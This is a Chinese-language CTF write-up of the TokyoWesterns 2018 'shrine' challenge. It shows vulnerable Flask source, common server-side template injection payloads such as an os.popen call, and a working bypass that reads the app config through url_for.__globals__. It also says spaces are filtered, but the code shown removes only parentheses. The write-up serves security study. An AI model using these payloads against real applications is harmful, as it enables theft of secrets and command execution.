2018 TokyoWesterns CTF WriteUp

2018 年 TokyoWesterns CTF，即第四届 TokyoWesterns CTF，是一场由 TokyoWesterns 团队主办的线上 CTF 比赛

  • 比赛时间：2018 年 9 月 1 日 01:00 - 9 月 3 日 01:00 (UTC)

  • 比赛形式：线上 Jeopardy（解题）模式

  • 题目类型：包括 Crypto（密码学）、Pwning（二进制漏洞利用）、Reversing（逆向工程）、Web 等

  • 赛事语言：题目提供英语和日语两个版本

  • Flag 格式：TWCTF{something}

  • 特殊奖励：冠军队伍将获得 CODE BLUE CTF 2018 Finals 的参赛资格

  • 赞助商：Google Cloud

Web

shrine（Flask 模板注入 + .__globals__ 绕过 + .config 绕过）

pasted_1784583987231_76i7x3.png

网页直接给了源码，考察 Flask/Jinja2 服务端模板注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import flask
import os

app = flask.Flask(__name__)                     # 创建 Flask 应用
app.config['FLAG'] = os.environ.pop('FLAG')     # 从环境变量中取出 FLAG 并存储在配置中

@app.route('/')
def index():
    return open(__file__).read()                # 返回当前源代码文件内容

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')     # 过滤掉括号，防止调用函数或方法
        blacklist = ['config', 'self']               # 禁用配置和自身引用
        # 把黑名单中的变量设为 None，使其无法使用
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))  # 渲染用户传入的 Jinja2 模板

if __name__ == '__main__':
    app.run(debug=True, port=80)                # 启动调试模式下的 Web 服务

确认存在漏洞

pasted_1784583233018_ekkk8g.png

WAF 过滤掉了空格，因此下面这些常规 SSTI payload 都会失效

1
2
3
4
{{config.items()}}
{{request.args.get('x')}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{os.popen('id').read()}}

WAF 没有执行 s.replace('config', '')，也没有禁止 payload 中出现字符串 config，只是给模板添加了前缀

1
2
{% set config=None %}
{% set self=None %}

因此以下表达式中的裸变量会失效

1
2
3
{{config}}
{{config['FLAG']}}
{{self}}

但其他对象的 .config 属性仍然可以访问

1
{{some_object.config}}

Flask 默认会向 Jinja 模板上下文提供以下对象

1
2
3
4
5
6
config
request
session
g
url_for
get_flashed_messages

其中 config 被覆盖，self 被覆盖，但 request、g 和 url_for 仍然可用

在 Python 中，每个函数对象都有一个 __globals__ 属性，它指向该函数定义时所处模块的全局命名空间

利用 {{url_for.__globals__}} 构造 Payload

1
{{url_for.__globals__['current_app'].config['FLAG']}}

pasted_1784583963573_mn3vyc.png